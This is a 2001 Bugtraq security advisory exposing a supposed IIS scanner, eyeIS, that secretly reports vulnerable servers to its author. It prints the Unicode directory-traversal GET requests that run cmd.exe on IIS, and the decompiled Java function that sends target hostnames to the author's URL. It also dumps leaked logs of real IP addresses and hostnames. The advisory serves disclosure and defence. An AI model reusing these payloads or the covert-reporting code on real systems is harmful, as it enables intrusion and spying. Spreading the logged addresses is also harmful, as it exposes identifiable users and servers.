[20086] in bugtraq
Reporting a public security threat ::
daemon@ATHENA.MIT.EDU (Tim Hason)
Mon Apr 9 03:24:55 2001
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-ID: <002501c0bfb6$0d9ed500$0600a8c0@tamer>
Date: Sat, 7 Apr 2001 15:56:59 -0700
Reply-To: Tim Hason <tim@AIDASYSTEMS.COM>
From: Tim Hason <tim@AIDASYSTEMS.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
http://ntsec.aidasystems.com/Eyeis_unrevealed.txt
____________________________________________________________________________
____
NtWaK0, www.versalys.com SecurHack
Manipulat0r, www.aidasystems.com
Labs Security Advisory
2001-04-05
Distributed Exploitation of common Vulnerabilities (DEV)
____________________________________________________________________________
____
Topic:
____________________________________________________________________________
____
EyeIS security tool unrevealed. Good example of Distributed Exploitation
of
common Vulnerabilities, employing a backdoor in what's supposedly
called a
"Security Paranoid Tool" Snoop on them like they snoop on you!
Vendor:
____________________________________________________________________________
____
ParSec (also known as "Paranoid Security")
http://www.dforce.nl/~noid/main.htm
Category:
____________________________________________________________________________
____
A new type of Backdoor, an example of what we call:
Distributed Exploitation of common Vulnerabilities (DEV)
Risk:
____________________________________________________________________________
____
High
Affects:
____________________________________________________________________________
____
Anyone who runs eyeIS 0.99 (and possibly all earlier versions) to test
their
server or anyone who tries to gain unauthorized access to an NT/Win2k
server
that is vulnerable to the commonly exploited Unicode exploit. As of today,
only
a win95/98/NT/2k version is available. Linux release was expected
to be
released soon. We currently do not know if the linux version is
or was intended to be backdoored also.
Corrected:
____________________________________________________________________________
____
As of today, we do not know of any version of eyeIS that are not backdoored.
Background:
____________________________________________________________________________
____
We recently discovered about a new tool that exploits the infamous unicode
bug
in IIS 4.0/5.0. This tool is named eyeIS (presumably pronounced as IIS;
hence
the vulnerable exploited daemons IIS 4.0 and IIS 5.0 in Microsoft
Windows NT 4.0 Server and Windows 2000 Server/Advanced Server.
The author describes the tool as:"eyeIS is a tool developed by parSec
that
allows you to test your servers for the new Directory Traversal
Vulnerability
and try different types of commands and attacks to protect your server as
good
as possible"
Well it does inform you if it is vulnerable. But it also informs the
author of
your vulnerable server and it's address. I wonder why?!!
By the time an average administrator researches on this vulnerability
and
locates the patch/fix, his server(s) have been already compromised by
(most
likely) an automatic malicious program/tool running on the author's
remote
server that is processing the received vulnerable server information.
Not only is this illegal, but we also discovered that the information
was
completely exposed and available for other hackers to exploit. The program,
when
ran, checks to see if the server is vulnerable, then informs the user in
the
program window, and in the background, it sends the same information to a
url
(that the author hard coded inside the program):
http://www.dforce.nl/~noid/scripts/ax2.pl
This url basically refers to a perl program/script that logs the information
it
received to a text file, also located in the web root folder, and as of the
time
of writing, both available to the public to read. That is how we confirmed
this.
We did not intrude the author's server nor did we ask them to
participate in
this unethical act.
As far as the application itself, it is isn't much of a very fancy tool. It
only
exploits, as previously mentioned, a commonly exploited hole in MS IIS
4/5
servers. The only thing we saw it good for is a Graphical User
Interface to
people who lack the skill and the knowledge to break in a system
(script
kiddies) using this technique (although it is easily exploitable from
very
simple command line tools) Using a dos shell and/or telnet program, you
can
simply telnet to the server in doubt on port 80 (the default HTTP port),
and
issue a simple get command that will determine if the server is
vulnerable or
not.
As from decompiling the program (JAVA CLASS name Target.class), we see it
does
just that, nothing more:
As Defined in the tool: strPath = "\\"; strDrive = "";
-------> Below you see the basic get command executed through the commonly
present
/scripts/ directory (as per default servers install):
"GET
/SCRIPTS/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi
nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
-------> Same as above, just tests for /msadc/ directory, if the earlier
isn't
in default location or has been removed:
GET
/MSADC/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/winn
t/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
-------> Same, /IISADMPWD/ as the directory this time:
As you can see, simple command line tools such as netcat/telnet
command could be easily used to do the same thing.
GET
/IISADMPWD/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/
winnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
GET
/CGI-BIN/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi
nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
GET
/WWWROOT/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/wi
nnt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
GET
/_VTI_BIN/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af/w
innt/system32/cmd.exe?/c%20dir%20" + strPath + " HTTP/1.0\n\n"
Well, not only that. If you changed your configuration around, the program
will
report a false result, SERVER NOT VULNERABLE, while you really are
still
VULNERABLE and need to patch/upgrade your installation. Here is the dirty
little
function that sends the information you found to the author:
____________________________________________________________________________
____
--- It's time to snoop on them like they sn00p on us
:) -------------------------
____________________________________________________________________________
____
public void logCommand()
{
URL url = null;
try
{
url = new URL("http://www.dforce.nl/~noid/scripts/ax2.pl?" +
strHost);
}
catch(MalformedURLException malformedurlexception)
{
System.out.println(malformedurlexception);
}
try
{
url.openStream();
url.openConnection();
}
catch(IOException _ex) { }
}
____________________________________________________________________________
____
____________________________________________________________________________
____
The windump logs proof
____________________________________________________________________________
____
1. We ran windump prior to starting the application.
2. Start the "Security Paranoid" eyeIS tool
3. Put in a webserver address that you suspect vulnerable
4. Click connect
At this point, the program will test the host for vulnerability. If the host
is
not vulnerable, I believe the information will be ignored and will not be
sent
to the secret server. However, if the server IS vulnerable, the information
gets
sent in details.
Here is the windump that you would see, would look something like:
07:36:41.814808 yourmachine.1080 > 213.196.37.50.80: . ack 1 win 17520 (DF)
07:36:41.829723 yourmachine.1080 > 213.196.37.50.80: P 1:184(183) ack 1 win
17520 (DF)
07:36:42.509576 yourmachine.1081 > 213.196.37.50.80: . ack 851 win 16671
(DF)
07:36:42.512369 yourmachine.1081 > 213.196.37.50.80: F 177:177(0) ack 851
win 16671 (DF)
At first, I tried nslookup on 213.196.37.50, but it didn't resolve to
anything
(Misconfigured DNS?). But then we found www.dforce.nl in the logs.
Doing
nslookup on www.dforce.nl does, however, report 213.196.37.50
Someone's in trouble :)
The logs we found (at the time of writing) are located at the following
locations:
http://www.dforce.nl/~noid/scripts/tracker.jpg
http://www.dforce.nl/~noid/scripts/efxcdmnopr.txt
http://www.dforce.nl/~noid/scripts/axs.dat
http://www.dforce.nl/~noid/scripts/ax2.pl
http://www.dforce.nl/~noid/scripts/log.txt
http://www.dforce.nl/~noid/scripts/ax.pl
http://www.dforce.nl/~noid/scripts/
As of yet, we noticed some files have been hidden and permissions on them
were
fixed. Thus not viewable anymore by the public. However, we will give you
just a
portion of what we found, enough to prove the point we are trying to make.
We had a chance to get the files and logs before they were hidden! :)
____________________________________________________________________________
____
=================================Inside the
files===============================
____________________________________________________________________________
____
____________________________________________________________________________
____
ax2.pl
You cannot see what's inside, simply because the file is executed as a
program
and it does not report anything to STDOUT (web browser). All it does is log
the
information it received to file.
We can guess the file contains something like:
1. Data parsing function to reform the data received
2. Another function that rearranges the data and assigns it to an array
3. Store each array received to file in the following simple format:
____________________________________________________________________________
____
axs.dat
AuthIP|62.178.18.195|
Filter||
HideDefaultDoc|CHECKED|
HidePoundSigns|CHECKED|
Highlight|CHECKED|
MaxWidth|400|
NewWindow|CHECKED|
NumSort|CHECKED|
UseMilTime||
end_date||
format|Sort All by Time|
last_number|2001094|
last_number_temp|2001095|
last_string|April 5, 2001|
last_string_temp|April 6, 2001|
maximum||
recent||
s01||
s02||
s03|CHECKED|
s04||
s05||
s06|CHECKED|
s07|CHECKED|
s08||
s09||
s10||
s11||
s12||
s13||
s14||
s15||
since_last||
start_date||
____________________________________________________________________________
____
Inside efxcdmnopr.txt that was on 5-4-2001 so the file now Must be BIGGER
WE believe the format used is as follows:
|attacker-host-name|attacker-ip||victim-host|somethings-go-here|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||ywreq1|Java1.2.1|1
7|24|18|6|3|101|5|95|export|
|209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|29|25|18|6|3|101
|5|95|export|
|209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|12|29|18|6|3|101
|5|95|export|
|209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|3|31|18|6|3|101|
5|95|export|
|lat-0124.dial.barrysworld.com|213.221.160.125||www.tempo.co.uk|Java1.1.8|52
|37|18|6|3|101|5|95|export|
|lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|50|
39|18|6|3|101|5|95|export|
|lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|3|4
0|18|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||10.0.17.2|Java1.1.8|46|43|18|6|3|101|5|95|expo
rt|
|208.136.120.1|208.136.120.1||tran|Java1.1.8|4|52|18|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||richardh|Java1.1.8|3|54|18|6|3|101|5|95|export
|
|208.136.120.1|208.136.120.1||10.0.17.8|Java1.1.8|11|55|18|6|3|101|5|95|expo
rt|
|208.136.120.1|208.136.120.1||thomas|Java1.1.8|14|56|18|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||rpofiles01.rponline.com|Java1.1.8|8|58|18|6|3|
101|5|95|export|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||ywreq1|Java1.3.0|4
5|59|18|6|3|101|5|95|export|
|lat-0124.dial.barrysworld.com|213.221.160.125||www.lottery.co.uk|Java1.1.8|
36|5|19|6|3|101|5|95|export|
|209.135.126.147|209.135.126.147||www.teknion.com|Java1.1.8|39|8|19|6|3|101|
5|95|export|
|208.136.120.1|208.136.120.1||10.0.17.20|Java1.1.8|52|8|19|6|3|101|5|95|expo
rt|
|208.136.120.1|208.136.120.1||roger|Java1.1.8|37|13|19|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|18|15|19|6|3|101|5|95|expor
t|
|lat-0124.dial.barrysworld.com|213.221.160.125||www.alpnet.com|Java1.1.8|57|
17|19|6|3|101|5|95|export|
|200.190.26.88|200.190.26.88||WWW.JESUSFORGIVES.COM|Java1.3.0|31|27|19|6|3|1
01|5|95|export|
|hse-mtl-ppp73578.qc.sympatico.ca|64.229.205.117||www.ruffryders.com|Java1.1
.8|18|28|19|6|3|101|5|95|export|
|adsl-61-102-4.mem.bellsouth.net|208.61.102.4||www.go.com|Java1.1.8|23|28|19
|6|3|101|5|95|export|
|c999460-d.alntn1.tx.home.com|24.15.255.162||www.bluetoaster.net|Java1.1.8|3
4|30|19|6|3|101|5|95|export|
|c999460-d.alntn1.tx.home.com|24.15.255.162||www.bluetoaster.net|Java1.1.8|1
2|31|19|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||tran|Java1.1.8|0|33|19|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||tran|Java1.1.8|40|33|19|6|3|101|5|95|export|
|adsl-61-102-4.mem.bellsouth.net|208.61.102.4||www.naets.org|Java1.1.8|53|33
|19|6|3|101|5|95|export|
|200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|30|38|19|6|3|1
01|5|95|export|
|station4.govwentworth.k12.nh.us|208.133.216.4||www.jesusforgives.com|Java1.
1.8|38|47|19|6|3|101|5|95|export|
|async61.dialup.etr.ru|212.30.190.188||www.ntsomz.ru|Java1.1.8|40|52|19|6|3|
101|5|95|export|
|station4.govwentworth.k12.nh.us|208.133.216.4||www.jesusforgives.com|Java1.
1.8|8|55|19|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|50|0|20|6|3|101|5|95|export
|
|209.135.126.147|209.135.126.147||www.canada.com|Java1.1.8|50|5|20|6|3|101|5
|95|export|
|208.136.120.1|208.136.120.1||rpoexc01|Java1.1.8|4|6|20|6|3|101|5|95|export|
|208.136.120.1|208.136.120.1||rpobatch01|Java1.1.8|16|12|20|6|3|101|5|95|exp
ort|
|208.136.120.1|208.136.120.1||ricdata01|Java1.1.8|54|12|20|6|3|101|5|95|expo
rt|
|63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|45|13|20|6|3|101|5|95|expor
t|
|wccp3.bendcable.com|216.228.161.22||www.visa.com|Mozilla/5.5 [en] (X11; I;
Linux 2.2.9 i686)|13|15|20|6|3|101|5|95|export|
|63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|42|15|20|6|3|101|5|95|expor
t|
|208.136.120.1|208.136.120.1||toanh|Java1.1.8|49|15|20|6|3|101|5|95|export|
|wccp3.bendcable.com|216.228.161.22||http://www.dforce.nl/~noid/scripts/ax2.
pl|Mozilla/5.5 [en] (X11; I; Linux 2.2.9 i686)|16|16|20|6|3|101|5|95|
|wccp3.bendcable.com|216.228.161.22||www.nsa.gov|Mozilla/5.5 [en] (X11; I;
Linux 2.2.9 i686)|47|17|20|6|3|101|5|95|export|
|63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|44|19|20|6|3|101|5|95|expor
t|
|63.161.35.2|63.161.35.2||www.nuco.com|Java1.1.8|48|33|20|6|3|101|5|95|expor
t|
|host213-123-45-192.dialup.lineone.co.uk|213.123.45.192||www.jesusforgives.c
om|Java1.3.0_01|29|22|21|6|3|101|5|95|export|
|gwextclu.seagate.com|204.160.183.18||www.whitehouse.gov|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0)|21|26|21|6|3|101|5|95|export|
|gwextclu.seagate.com|204.160.183.18||index.html|Mozilla/4.0 (compatible;
MSIE 5.01; Windows NT 5.0)|43|26|21|6|3|101|5|95|export|
|gwextclu.seagate.com|204.160.183.18||http://www.dforce.nl/~noid/scripts/ax2
.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT
5.0)|25|27|21|6|3|101|5|95|
|200.190.26.88|200.190.26.88||www.grupotms.com.br|Java1.3.0|52|43|21|6|3|101
|5|95|export|
|ns1.securesolutions.org|161.184.84.245||http://www.dforce.nl/~noid/scripts/
ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
5.0)|51|3|22|6|3|101|5|95|
|ncache1.ford.com|136.1.1.101|http://www.dforce.nl/~noid/scripts/|http://www
.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.7 [en]C-CCK-MCD cf47 (Win98;
I)|50|5|22|6|3|101|5|95|
|216.106.223.226|216.106.223.226|http://www.dforce.nl/~noid/scripts/|http://
www.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 6.0b;
Windows NT 5.1)|33|8|22|6|3|101|5|95|
|64.208.183.154|64.208.183.154|http://www.dforce.nl/~noid/scripts/|http://ww
w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows
NT 5.0)|43|8|22|6|3|101|5|95|
|validip.geac.com|159.172.13.72|http://www.dforce.nl/~noid/scripts/|http://w
ww.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows
NT 5.0)|49|11|22|6|3|101|5|95|
|198.234.236.20|198.234.236.20|http://www.dforce.nl/~noid/scripts/|http://ww
w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.76 [en] (Win98;
U)|49|12|22|6|3|101|5|95|
|www.dccu.com|208.214.219.34|http://www.dforce.nl/~noid/scripts/|http://www.
dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows
NT 5.0)|56|12|22|6|3|101|5|95|
|ppp187.vo.lu|212.24.192.202|http://www.dforce.nl/~noid/scripts/|http://www.
dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.73 [de]C-CCK-MCD DT (Win98;
U)|59|18|22|6|3|101|5|95|
|ppp187.vo.lu|212.24.192.202|http://www.dforce.nl/~noid/scripts/|http://www.
dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.73 [de]C-CCK-MCD DT (Win98;
U)|45|19|22|6|3|101|5|95|
|ool-18babf50.dyn.optonline.net|24.186.191.80|http://www.dforce.nl/~noid/scr
ipts/|http://www.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible;
MSIE 5.5; Windows NT 5.0)|13|36|22|6|3|101|5|95|
|a010-0931.mle2.splitrock.net|63.253.99.169||http://www.dforce.nl/~noid/scri
pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98;
Compaq)|9|38|22|6|3|101|5|95|
|adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.derby.com|Java1.1.8|43|49|2
2|6|3|101|5|95|export|
|63.145.165.226|63.145.165.226|http://www.dforce.nl/~noid/scripts/|http://ww
w.dforce.nl/~noid/scripts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows
NT 5.0)|13|55|22|6|3|101|5|95|
|63.145.165.226|63.145.165.226||http://www.dforce.nl/~noid/scripts/ax2.pl|Mo
zilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|20|55|22|6|3|101|5|95|
|63.145.165.226|63.145.165.226||http://www.dforce.nl/~noid/scripts/ax2.pl|Mo
zilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|26|55|22|6|3|101|5|95|
|adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|28|5|23
|6|3|101|5|95|export|
|du-148-221-96-186.prodigy.net.mx|148.221.96.186||www.sd43.bc.ca|Java1.1.8|1
9|7|23|6|3|101|5|95|export|
|adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|12|8|23
|6|3|101|5|95|export|
|adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.floss.com|Java1.1.8|46|11|2
3|6|3|101|5|95|export|
|200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|31|17|23|6|3|1
01|5|95|export|
|200.246.54.242|200.246.54.242||www.jesusforgives.com|Java1.1.8|46|17|23|6|3
|101|5|95|export|
|ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri
pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|27|20|23|6|3|101|5|95|
|ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri
pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|33|20|23|6|3|101|5|95|
|ippool3.ppp-17.planetcomm.net|63.115.92.81||http://www.dforce.nl/~noid/scri
pts/ax2.pl|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|34|20|23|6|3|101|5|95|
|200.207.76.49|200.207.76.49||www.panasonic.se|Java1.1.8|39|35|23|6|3|101|5|
95|export|
|adsl-61-41-9.mia.bellsouth.net|208.61.41.9||www.panasonic.se|Java1.1.8|21|4
0|23|6|3|101|5|95|export|
|200.190.26.88|200.190.26.88||www.jesusforgives.com|Java1.3.0|6|49|23|6|3|10
1|5|95|export|
____________________________________________________________________________
____
Inside log.txt
This is only a PART of it because it is huge. If you are lucky and it has
not
been yet removed, you can see it at
http://www.dforce.nl/~noid/scripts/log.txt
|cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45|http://www.dforce.nl/~noid/sc
ripts/|http://www.dforce.nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible;
MSIE 5.5; Windows NT 5.0)|57|36|23|4|3|101|3|93|
|cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.dforce.nl/~noid/s
cripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
5.0)|39|43|23|4|3|101|3|93|
|cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.dforce.nl/~noid/s
cripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
5.0)|39|43|23|4|3|101|3|93|
|cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.security.nl/|Mozi
lla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|40|44|23|4|3|101|3|93|export|
|cp14275-a.dbsch1.nb.nl.home.com|217.120.37.45||http://www.security.nl/|Mozi
lla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)|29|45|23|4|3|101|3|93|export|
|ippool2.ppp-19.planetcomm.net|63.115.92.51||http://www.security.nl/|Mozilla
/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|34|45|23|4|3|101|3|93|export|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|17|46|23|4|3|101|3|93|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|25|46|23|4|3|101|3|93|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|33|46|23|4|3|101|3|93|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|10|49|23|4|3|101|3|93|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|15|19|0|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195||http://www.dforce.
nl/~noid/scripts/ax.pl|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0;
Hotbar 2.0)|31|20|0|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|46|35|0|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|15|36|0|5|3|101|4|94|
|ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/|http
://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|23|53|0|5|3|101|4|94|
|port064254046130.terraworld.net|64.254.46.130|http://www.dforce.nl/~noid/|h
ttp://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
5.0)|14|54|0|5|3|101|4|94|
|modem3.vigie.qc.ca|204.101.103.49|http://www.dforce.nl/~noid/|http://www.df
orce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 4.01; Windows
98)|33|54|0|5|3|101|4|94|
|ppp7-pool6c.dtmob.zebra.net|209.12.15.238|http://www.dforce.nl/~noid/|http:
//www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x
4.90)|46|54|0|5|3|101|4|94|
|cn852231-a.jamison1.pa.home.com|65.2.14.246|http://www.dforce.nl/~noid/|htt
p://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT
5.0)|59|54|0|5|3|101|4|94|
|15dyn63.ztm.casema.net|212.64.114.63|http://www.dforce.nl/~noid/|http://www
.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt;
FreeSurf tmfweb.nl v1.0.1)|4|0|1|5|3|101|4|94|
|15dyn63.ztm.casema.net|212.64.114.63|http://www.dforce.nl/~noid/|http://www
.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt;
FreeSurf tmfweb.nl v1.0.1)|22|1|1|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|0|4|1|5|3|101|4|94|
|61.12.0.101|61.12.0.101|http://www.dforce.nl/~noid/|http://www.dforce.nl/~n
oid/|Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x
4.90)|31|5|1|5|3|101|4|94|
|cr965848-a.poco1.bc.wave.home.com|24.113.161.173|http://www.dforce.nl/~noid
/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01; Windows NT
5.0)|34|5|1|5|3|101|4|94|
|nas-68-156.nyc-t.navipath.net|64.20.68.156|http://www.dforce.nl/~noid/|http
://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 4.01; Windows 98;
Compaq)|52|5|1|5|3|101|4|94|
|208.30.222.14|208.30.222.14|||Mozilla/3.01
(compatible;)|1|6|1|5|3|101|4|94|
|208.30.222.14|208.30.222.14|http://www.dforce.nl/~noid/|http://www.dforce.n
l/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows NT
5.0)|2|6|1|5|3|101|4|94|
|ippool2.ppp-19.planetcomm.net|63.115.92.51|http://www.dforce.nl/~noid/|http
://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.0; Windows 98;
DigExt)|14|12|1|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|11|37|1|5|3|101|4|94|
|chello213047065202.11.univie.teleweb.at|213.47.65.202|http://www.dforce.nl/
~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5;
Windows 98; Win 9x 4.90)|39|39|1|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|18|55|1|5|3|101|4|94|
|cb269254-c.rmvll1.il.home.com|24.182.140.184|http://www.dforce.nl/~noid/|ht
tp://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win
9x 4.90)|15|11|2|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|55|18|2|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0; Hotbar 2.0)|7|24|3|5|3|101|4|94|
|chello213047125244.14.univie.teleweb.at|213.47.125.244|http://www.dforce.nl
/~noid/|http://www.dforce.nl/~noid/|Mozilla/4.0 (compatible; MSIE 5.01;
Windows NT 5.0)|29|47|3|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|19|10|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|35|10|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|42|11|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|32|13|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|32|37|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|16|51|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
(compatible; MSIE 5.01; Windows NT 5.0; Hotbar 2.0)|50|51|4|5|3|101|4|94|
|chello062178018195.7.11.tuwien.teleweb.at|62.178.18.195|http://www.dforce.n
l/~noid/topbar.htm|http://www.dforce.nl/~noid/topbar.htm|Mozilla/4.0
